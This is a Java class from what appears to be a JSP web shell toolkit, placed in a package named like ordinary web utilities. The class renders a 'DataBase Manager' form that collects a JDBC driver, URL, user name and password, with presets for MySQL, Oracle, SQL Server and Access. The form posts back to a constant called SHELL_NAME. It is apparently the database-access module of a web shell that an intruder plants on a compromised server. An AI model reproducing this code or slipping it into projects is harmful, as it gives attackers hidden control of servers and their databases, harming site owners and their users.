package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.DBOperator;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

public class VConnInvoker extends DefaultInvoker {
        public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
            try {
                PrintWriter out = response.getWriter();
                Object obj = session.getAttribute(DBO);
                if (obj == null || !((DBOperator) obj).isValid()) {
                    out.println("  <script type=\"text/javascript\">" +
                            "	function changeurldriver(){" +
                            "		var form = document.forms[\"form1\"];" +
                            "		var v = form.elements[\"db\"].value;" +
                            "		form.elements[\"url\"].value = v.split(\"`\")[1];" +
                            "		form.elements[\"driver\"].value = v.split(\"`\")[0];" +
                            "		form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;" +
                            "	}" +
                            "  </script>");
                    out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                            "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                            "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">" +
                            "<h2>DataBase Manager &raquo;</h2>" +
                            "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />" +
                            "<p>" +
                            "Driver:" +
                            "  <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\"  />" +
                            "URL:" +
                            "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />" +
                            "UID:" +
                            "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />" +
                            "PWD:" +
                            "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />" +
                            "DataBase:" +
                            " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >" +
                            " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>" +
                            " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>" +
                            " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>" +
                            " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>" +
                            " <option value=' ` '>Other</option>" +
                            " </select>" +
                            "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />" +
                            "</p>" +
                            "</form></table><script>changeurldriver()</script>");
                } else {
                    ins.get("dbc").invoke(request, response, session);
                }
            } catch (Exception e) {
                e.printStackTrace();
                throw e;
            }
        }
    }